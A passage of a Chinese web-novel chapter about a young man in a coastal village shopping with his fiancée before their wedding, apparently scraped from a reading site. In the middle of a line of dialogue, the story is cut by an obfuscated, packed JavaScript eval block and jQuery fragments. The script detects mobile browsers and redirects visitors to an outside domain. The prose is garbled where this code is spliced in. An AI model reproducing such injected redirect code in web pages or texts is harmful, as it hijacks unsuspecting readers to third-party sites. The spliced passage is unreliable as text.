腊月的海风裹着咸腥气掠过耿家湾，在一众灰扑扑的矮房之间，耿云野家新落成的五间大平房格外扎眼。
石头垒砌的院墙上，泥沙勾缝的缝隙里嵌着贝壳，这是沿海村落特有的讲究，图个“四海来财”的寓意。
腊月十六，太阳刚从云层里冒出半个脑袋，耿云野就推着自行车往院门外走。他家独门独户立在大队最里头，沿着铺满石子的小路走好几分钟才能见到人影，四下一片寂静，只能听到远处港口的鸣笛声。
赵婶子扛着锄头路过：“云野，又带对象置办嫁妆去？”
“嗯，再买点布料。”耿云野应着，顺手锁上大门。
新做的樟木大门厚重结实，带着股好闻的木头味。
“哟，这大门真气派！”赵婶子四处张望，“听说你把茅厕修屋里了？”
“砌在东厢房，装了抽水马桶，洗澡也方便。”
赵婶子直咂舌：“啧啧，也就你敢这么干。大家都把茅厕修在院外头，你倒好，把脏东西往屋里搬。”
耿云野笑着解释，“上完厕所一冲水就没味道了，修在外面晚上起夜不方便。”
赵婶子似懂非懂：“也是，你家这么洋气的砖房，厕所修外面把房子都显得不好看了。”
这可是大队第一家砖瓦混合的水泥房子，看着就是跟自家矮房子不一样。
耿云野骑车去程家接程心，院子里停着一辆枣红色永久牌自行车。
自行车是彩礼之一，耿云野坚持要送三转一响，程心手表提前收过了，没要收音机，只收下了自行车和缝纫机，这样丰厚的彩礼在公社极其少见。
俩人骑着自行车进城，婚期将近需要置办的东西多。耿云野父母早逝，采购得自己负责，剩下的由同宗长辈安排。
程心的齐肩发已经长到胸前，她用红头绳扎着辫子。
程心从兜里掏出纸条递给他：“都列好了。”目光扫过他磨毛的衣领，“又穿这件旧外套，明天记得穿新衣服。”
耿云野笑了笑：“忙忘了，等会去百货商场买一件。”
程心觉得他就是对自己不上心，给她买了几身新衣服，扯了不少布料，自己还穿着领口起毛球的外套。
她无奈道：“我给你准备好了，不用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411284|165423||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
买。”
耿云野神色温柔：“谢谢，辛苦你了。”
程心若无其事移开目光：“缝纫机做衣服很快，你应该谢谢缝纫机。”
耿云野哭笑不得。
供销社里挤满了置办年货的人。
程心在布柜前反复比对的确良料子和棉布：“这块布料厚实，做衬衫耐穿，棉布做里衣保暖。”
“行，再扯两尺红绸。”耿云野掏出叠得整整齐齐的大团结，“窗户得挂喜字，喜庆。”
路过鞋摊时，程心被一双黑布鞋吸引。
摊主连忙推销：“纯手工纳的鞋底，结实！”
“不用了。”耿云野按住她要掏钱的手，“你不是早给我做好了两双？藏在嫁妆箱底呢。”他说话时语气笃定，像是亲眼见过似的。
程心脸颊一红，轻轻捶了他一下：“就你记性好。”
从供销社出来，两人又去买喜糖。正挑着，碰上海湾公社的干部老李，老李熟络地拍他肩膀，“明天领证？”
“嗯，九点准时到。”耿云野点头，“酒席定在腊月二十三，到时候来喝杯喜酒。”